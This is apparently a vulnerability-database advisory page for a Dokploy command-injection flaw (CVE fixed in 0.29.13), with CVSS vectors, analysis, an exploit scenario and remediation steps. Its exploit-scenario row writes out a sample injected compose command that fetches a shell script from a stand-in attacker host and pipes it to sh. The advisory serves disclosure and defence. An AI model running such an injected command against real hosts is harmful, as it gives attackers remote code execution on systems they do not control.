Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Network-exploitable by any authenticated Compose editor (AV:N, PR:L); low complexity; full C/I/A impact on Dokploy host; scope unchanged as the host is the primary impacted system.
Primary rating from Vendor (GitHub_M).
CVSS VectorVendor: GitHub_M
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Lifecycle Timeline
4DescriptionCVE.org
Dokploy is a free, self-hostable Platform as a Service (PaaS). Prior to 0.29.13, sanitizeCommand in packages/server/src/utils/builders/compose.ts only trims whitespace and strips surrounding quotes from compose.command before exportEnvCommand and docker command interpolation, allowing an authenticated user who can update a Compose service to inject shell metacharacters and execute arbitrary commands on the Dokploy host. This issue is fixed in version 0.29.13.
AnalysisAI
Shell command injection in Dokploy exposes the underlying host OS to arbitrary command execution by any authenticated user with Compose service edit permissions. The flaw is in the sanitizeCommand function within packages/server/src/utils/builders/compose.ts, which stripped only whitespace and surrounding quotes before interpolating user-supplied compose.command values into live shell invocations such as docker ${command} - leaving semicolons, pipe operators, backticks, and subshell substitutions entirely intact. …
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Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata
Vulnerability AssessmentAI
| Exploitation | Exploitation requires an authenticated Dokploy session with permission to update at least one Compose service - unauthenticated exploitation is not possible per the CVSS 4.0 PR:L metric. … Additional conditions and limiting factors are described in the full assessment. |
| Risk Assessment | The CVSS 4.0 score of 8.7 (AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H) accurately characterizes a high-priority real-world risk: the attack requires no special network position, no preconditions beyond a low-privilege authenticated account with Compose edit rights, and results in full host OS command execution. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in. |
| Exploit Scenario | An attacker with a low-privilege Dokploy account holding Compose service edit rights navigates to a Compose service configuration panel and sets the custom command field to a payload such as up -d; curl http://attacker.example/shell.sh | sh. When a deployment is triggered, the unpatched sanitizeCommand passes the semicolon-separated string through intact, and the host shell executes the attacker's secondary command as the Dokploy process user. … |
| Remediation | Upgrade to Dokploy v0.29.13 immediately - this is the vendor-confirmed patched release (https://github.com/Dokploy/dokploy/releases/tag/v0.29.13), which replaces unsafe raw string interpolation with shell-quote escaping for appName, composePath, and envFilePath arguments throughout both the compose builder and compose service, and adds regex validation that rejects shell control characters in user-supplied compose command fields. … Detailed patch versions, workarounds, and compensating controls in full report. |
Recommended ActionAI
Within 24 hours: Audit all Dokploy deployments to identify current versions and enumerate users with Compose service edit permissions. …
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Same weakness CWE-78 – OS Command Injection
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External POC / Exploit Code
Leaving vuln.today
EUVD-2026-55794